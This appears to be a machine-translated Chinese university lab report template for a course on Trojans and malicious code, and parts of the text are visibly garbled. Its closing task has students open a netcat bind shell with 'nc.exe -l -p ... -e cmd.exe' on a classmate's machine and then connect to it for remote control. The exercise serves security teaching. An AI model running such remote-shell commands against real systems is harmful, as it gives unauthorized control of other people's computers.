Experiment 4 malicious code technology Yang Haitao 201 721 450 030

School No.

Chinese People's Public Security University

Chinese people’ public security university

Network Warfare Technology

experimental report

Experiment 4

Malicious code technology

student name	Yang Haitao
grade	17
District Team	Five district teams
mentor	Your opinion

Information and Network Security Technology College

201 6 Nian 11 Yue 7 Ri

Experimental Task Master

20 1 6 -20 1 7 grade Dai Ichi semester

First, the purpose of the experiment

1 . With practice for the Trojans, so that readers understand and master the Trojans spread and mechanisms of operation; manually delete the Trojan, the Trojan checks to grasp and remove Trojans skills, learn Trojan defense-related knowledge, enhance awareness of security for the Trojans.

2 . Understand and are familiar with common network attack tools, the basic functions of Trojans ;

3 . The purpose of the consolidation of curriculum knowledge and practical application.

Second, the experimental requirements

1 . Carefully read the contents of each experiment, we need to capture the title, to be clear screenshots and annotate screenshots and descriptions.

2 . Documentation requirements clearly structured , graphic expression accurate labeling specifications. Reasoning was objective, reasonable and logical.

3 . Software tools can use the NC , the MSF and so on .

4 . After the experiment, to retain electronic documents.

Three , experimental procedures

1 . ready

Experimental preparation well in advance, before the experiment should be detailed understanding of the purpose of the experiment, test requirements and test content , familiar and ready software tools with a good experiment , in accordance with the requirements and test content in advance to do the experiment content ready .

2 . lab environment

Describes the hardware and software environment used in the experiment (including a variety of software tools) ;

Office2003 boot and start the software or 2007 , browser, encryption and decryption software .

3 . experiment procedure

1 ) Start the system and start the tool software environment.

2 ) software tools to achieve experimental content.

4 . experimental report

Write lab reports in accordance with the standard requirements of the test report format. According to the template format to write the document embedded in the test report document, the document written in accordance with the provisions of the written format, the form must be said that the graphics have a table Illustrated.

A task using the NC control computer

NetCat , with a network of Saber said it small and lean and powerful features make it small and lean, because his software has now been compressed to the size of only a dozen KB , but no reduction in functionality.

Experimental procedure requires two students with the completion of each other:

step one:

In the machine (student A) the victim
enter the following command:
　　nc.exe the -l -p -e cmd.exe Port enter a listening mode

Step two:
　　the attacker's machine (students B).
Enter the following command:
　　NC // Port IP connection victim_IP, then get a the shell . (Screenshot required)